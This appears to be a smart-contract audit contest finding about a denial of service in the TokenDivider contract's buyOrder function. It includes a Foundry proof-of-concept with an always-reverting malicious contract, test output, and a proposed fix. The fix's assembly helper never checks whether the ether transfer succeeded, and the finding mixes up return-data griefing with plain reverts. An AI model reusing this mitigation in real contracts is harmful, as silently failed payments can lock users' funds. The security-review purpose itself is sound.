Submission Details
Severity:
[H-3] Use low level `call()` to prevent DoS to the `buyOrder` function and gas griefing attacks when returned data not required
Summary
When sending Ether using high-level Solidity calls like:
(bool success, ) = payable(recipient).call{ value: amount }("");
require(success, "Transfer failed");
the call returns additional data (bytes memory data) that is copied into memory—even if your contract does not use it. In adversarial scenarios, the target address could return an abnormally large data payload, causing excessive gas consumption in what is effectively a gas griefing attack.
Impact
Potential Denial of Service (DoS): If an attacker deliberately returns a large payload, it can cause the transaction to run out of gas or become too expensive. The
function buyOrder(uint256 orderIndex, address seller) external payableexecutes the two following ether transfers:
(bool success,) = payable(order.seller).call{ value: sellerEtherTransferValue }("");
if (!success) revert TokenDivider__TransferFailed();
(bool taxSuccess,) = payable(owner()).call{ value: ownerTaxTransferValue }("");
if (!taxSuccess) revert TokenDivider__TransferFailed();
if the owner of the contract or the order.seller are a malicious contract with a vulnerable fallback function that could potentially return an abnormally large data payload or reverting always, that would render the buy order action fully unusable and this could potentially led to a loss of the NFTs of the legit users that divided their NFTs into ERC20's since, if the buy order function reaches the code portion to send the fees it means it's buying a legit sell order since it succeded all the checks, and if there is a legit sell order, it means no one has at that point enough ERC20 tokens to claim the NFT back from the contract, since the sellOrder function decreases the balance mapping and locks the ERC20 tokens in the contract, so according to the balances mapping state of the marketplace contract, no one holds the total ERC20 fractions of the NFT.
Unnecessary Gas Usage: The returned data is loaded into memory and can be arbitrarily large, increasing the caller’s gas costs.
PoC for DoS of the buy order action
// SPDX-License-Identifier: MIT
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import { Test, console } from "forge-std/Test.sol";
import { TokenDivider } from "src/TokenDivider.sol";
import { ERC20ToGenerateNftFraccion } from "src/token/ERC20ToGenerateNftFraccion.sol";
contract ERC721Mock is ERC721 {
uint256 private _tokenIdCounter;
constructor() ERC721("MockToken", "MTK") { }
function mint(address to) public {
_safeMint(to, _tokenIdCounter);
_tokenIdCounter++;
}
}
contract MaliciousContract {
error RevertAlways();
constructor() { }
fallback() external payable {
revert RevertAlways();
}
}
contract DoSBuyOrder is Test {
error TokenDivider__TransferFailed();
TokenDivider internal tokenDivider;
ERC721Mock internal erc721;
address internal attacker = makeAddr("attacker");
address internal legitSeller = makeAddr("legitSeller");
address internal legitBuyer = makeAddr("legitBuyer");
function setUp() public {
// 1) Deploy the TokenDivider and lets suppose the owner is
// a malicious attacker
vm.prank(attacker);
tokenDivider = new TokenDivider();
// 2) Deploy an ERC721 mock and mint 1 NFT to the legit seller
erc721 = new ERC721Mock();
erc721.mint(legitSeller); // tokenId = 0
// 3) Attacker starts with 10 ether balance
vm.deal(attacker, 10 ether);
// 4) Legit buyer starts with 10 ether balance
vm.deal(legitBuyer, 10 ether);
// 5) Legit seller starts with 10 ether balance
vm.deal(legitSeller, 10 ether);
}
function testDoSBuyOrder() public {
// 1) Legit user divides the NFT -> obtains fraction tokens
vm.startPrank(legitSeller);
erc721.approve(address(tokenDivider), 0);
tokenDivider.divideNft(address(erc721), 0, /* 10k fraction tokens */ 10_000 ether);
vm.stopPrank();
// Legit seller’s fraction token
address fractionToken = tokenDivider.getErc20InfoFromNft(address(erc721), /* tokenId = 0 */ 0);
// Legit seller's fraction token balance:
ERC20ToGenerateNftFraccion fractionTokenMock = ERC20ToGenerateNftFraccion(fractionToken);
// Ensure the legit seller owns 10k fraction tokens
assertEq(fractionTokenMock.balanceOf(legitSeller), 10_000 ether);
// 2) The legit seller wants to sell a portion of his fraction tokens
vm.startPrank(legitSeller);
fractionTokenMock.approve(address(tokenDivider), /* amount = 10 fraction tokens */ 10 ether);
tokenDivider.sellErc20(
address(erc721),
/* tokenId = 0 */ 0,
/* price = 1 ether */ 1 ether,
/* amount = 10 fraction tokens */ 10 ether
);
console.log("Legit seller creates a sell order for 10 fraction tokens");
vm.stopPrank();
// 3) The attacker transfers the ownership to the malicious contract
vm.startPrank(attacker);
tokenDivider.transferOwnership(address(new MaliciousContract()));
console.log("Attacker transfers the ownership to the malicious contract");
vm.stopPrank();
// 3) The legit user wants to buy the sell order
vm.startPrank(legitBuyer);
uint256 buyOrderEtherTxnCost = calculateFee(1 ether);
console.log(
"No legit buyers will be able to buy the sell order as long as the owner() fallback function doesn't allow it"
);
vm.expectRevert(TokenDivider__TransferFailed.selector);
tokenDivider.buyOrder{ value: buyOrderEtherTxnCost }(
/* order index = 0 */
0,
/* seller = legitSeller */
legitSeller
);
vm.stopPrank();
}
// Check [H-2] vulnerability from submissions to understand why this is used
function calculateFee(uint256 price) internal returns (uint256) {
// ether to send to the owner()
uint256 ownerTaxTransferValue = price / 100;
// ether to send to the seller of the order
uint256 sellerEtherTransferValue = price - (ownerTaxTransferValue / 2);
uint256 buyOrderEtherTxnCost = ownerTaxTransferValue + sellerEtherTransferValue;
return buyOrderEtherTxnCost;
}
}
% forge test --match-test testDoSBuyOrder -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/unit/reentrancy.t.sol:DoSBuyOrder
[PASS] testDoSBuyOrder() (gas: 1273030)
Logs:
Legit seller creates a sell order for 10 fraction tokens
Attacker transfers the ownership to the malicious contract
No legit buyers will be able to buy the sell order as long as the owner() fallback function doesn't allow it
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.20ms (339.04µs CPU time)
Ran 1 test suite in 179.02ms (1.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Use a low-level or minimal-call assembly approach when the returned data is not needed. For instance, an inline assembly snippet that avoids copying return data:
function sendEther(address recipient, uint256 amount) internal {
bool _sent;
assembly {
_sent := call(gas(), recipient, amount, 0, 0, 0, 0)
}
}
Replace:
// Transfer The Ether
(bool success,) = payable(order.seller).call{ value: sellerEtherTransferValue }("");
if (!success) revert TokenDivider__TransferFailed();
(bool taxSuccess,) = payable(owner()).call{ value: ownerTaxTransferValue }("");
if (!taxSuccess) revert TokenDivider__TransferFailed();
By:
sendEther(order.seller, sellerEtherTransferValue);
sendEther(owner(), ownerTaxTransferValue);
Alternatively, consider using the ExcessivelySafeCall Library which provides a safe and flexible pattern to handle calls while limiting potentially large return data. This prevents targets from inflating the response payload and consuming excessive gas.
PoC with mitigation
// SPDX-License-Identifier: MIT
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import { Test, console } from "forge-std/Test.sol";
import { TokenDivider } from "src/TokenDivider.sol";
import { ERC20ToGenerateNftFraccion } from "src/token/ERC20ToGenerateNftFraccion.sol";
contract ERC721Mock is ERC721 {
uint256 private _tokenIdCounter;
constructor() ERC721("MockToken", "MTK") { }
function mint(address to) public {
_safeMint(to, _tokenIdCounter);
_tokenIdCounter++;
}
}
contract MaliciousContract {
error RevertAlways();
uint256 variable;
constructor() { }
fallback() external payable {
revert RevertAlways();
}
}
contract DoSBuyOrder is Test {
error TokenDivider__TransferFailed();
TokenDivider internal tokenDivider;
ERC721Mock internal erc721;
address internal attacker = makeAddr("attacker");
address internal legitSeller = makeAddr("legitSeller");
address internal legitBuyer = makeAddr("legitBuyer");
function setUp() public {
// 1) Deploy the TokenDivider and lets suppose the owner is
// a malicious attacker
vm.prank(attacker);
tokenDivider = new TokenDivider();
// 2) Deploy an ERC721 mock and mint 1 NFT to the legit seller
erc721 = new ERC721Mock();
erc721.mint(legitSeller); // tokenId = 0
// 3) Attacker starts with 10 ether balance
vm.deal(attacker, 10 ether);
// 4) Legit buyer starts with 10 ether balance
vm.deal(legitBuyer, 10 ether);
// 5) Legit seller starts with 10 ether balance
vm.deal(legitSeller, 10 ether);
}
function testDoSBuyOrder() public {
// 1) Legit user divides the NFT -> obtains fraction tokens
vm.startPrank(legitSeller);
erc721.approve(address(tokenDivider), 0);
tokenDivider.divideNft(address(erc721), 0, /* 10k fraction tokens */ 10_000 ether);
vm.stopPrank();
// Legit seller’s fraction token
address fractionToken = tokenDivider.getErc20InfoFromNft(address(erc721), /* tokenId = 0 */ 0);
// Legit seller's fraction token balance:
ERC20ToGenerateNftFraccion fractionTokenMock = ERC20ToGenerateNftFraccion(fractionToken);
// Ensure the legit seller owns 10k fraction tokens
assertEq(fractionTokenMock.balanceOf(legitSeller), 10_000 ether);
// 2) The legit seller wants to sell a portion of his fraction tokens
vm.startPrank(legitSeller);
fractionTokenMock.approve(address(tokenDivider), /* amount = 10 fraction tokens */ 10 ether);
tokenDivider.sellErc20(
address(erc721),
/* tokenId = 0 */
0,
/* price = 1 ether */
1 ether,
/* amount = 10 fraction tokens */
10 ether
);
console.log("Legit seller creates a sell order for 10 fraction tokens");
vm.stopPrank();
// 3) The attacker transfers the ownership to the malicious contract
vm.startPrank(attacker);
tokenDivider.transferOwnership(address(new MaliciousContract()));
console.log("Attacker transfers the ownership to the malicious contract");
vm.stopPrank();
// 3) The legit user wants to buy the sell order
vm.startPrank(legitBuyer);
uint256 buyOrderEtherTxnCost = calculateFee(1 ether);
console.log("-----");
console.log("Legit seller balance before legit buyer buys the sell order", legitSeller.balance);
console.log(
"Fraction token balance from legit buyer before buying the sell order", fractionTokenMock.balanceOf(legitBuyer)
);
tokenDivider.buyOrder{ value: buyOrderEtherTxnCost }(
/* order index = 0 */
0,
/* seller = legitSeller */
legitSeller
);
console.log("-----");
console.log("Legit seller balance after legit buyer buys the sell order", legitSeller.balance);
console.log(
"Fraction token balance from legit buyer after buying the sell order", fractionTokenMock.balanceOf(legitBuyer)
);
console.log("-----");
console.log("Order purchase succeded despite malicious contracts fallback function");
vm.stopPrank();
}
// Check [H-2] vulnerability from submissions to understand why this is used
function calculateFee(uint256 price) internal returns (uint256) {
// ether to send to the owner()
uint256 ownerTaxTransferValue = price / 100;
// ether to send to the seller of the order
uint256 sellerEtherTransferValue = price - (ownerTaxTransferValue / 2);
uint256 buyOrderEtherTxnCost = ownerTaxTransferValue + sellerEtherTransferValue;
return buyOrderEtherTxnCost;
}
}
% forge test --match-test testDoSBuyOrder -vv
[⠊] Compiling...
[⠃] Compiling 2 files with Solc 0.8.28
[⠊] Solc 0.8.28 finished in 818.43ms
Compiler run successful with warnings:
Warning (2018): Function state mutability can be restricted to pure
--> test/unit/reentrancy.t.sol:126:3:
|
126 | function calculateFee(uint256 price) internal returns (uint256) {
| ^ (Relevant source part starts here and spans across multiple lines).
Ran 1 test for test/unit/reentrancy.t.sol:DoSBuyOrder
[PASS] testDoSBuyOrder() (gas: 1288825)
Logs:
Legit seller creates a sell order for 10 fraction tokens
Attacker transfers the ownership to the malicious contract
-----
Legit seller balance before legit buyer buys the sell order 10000000000000000000
Fraction token balance from legit buyer before buying the sell order 0
-----
Legit seller balance after legit buyer buys the sell order 10995000000000000000
Fraction token balance from legit buyer after buying the sell order 10000000000000000000
-----
Order purchase succeded despite malicious contracts fallback function
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.51ms (1.81ms CPU time)
Ran 1 test suite in 184.87ms (8.51ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
References
Rewards breakdown
nSLOC
181This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.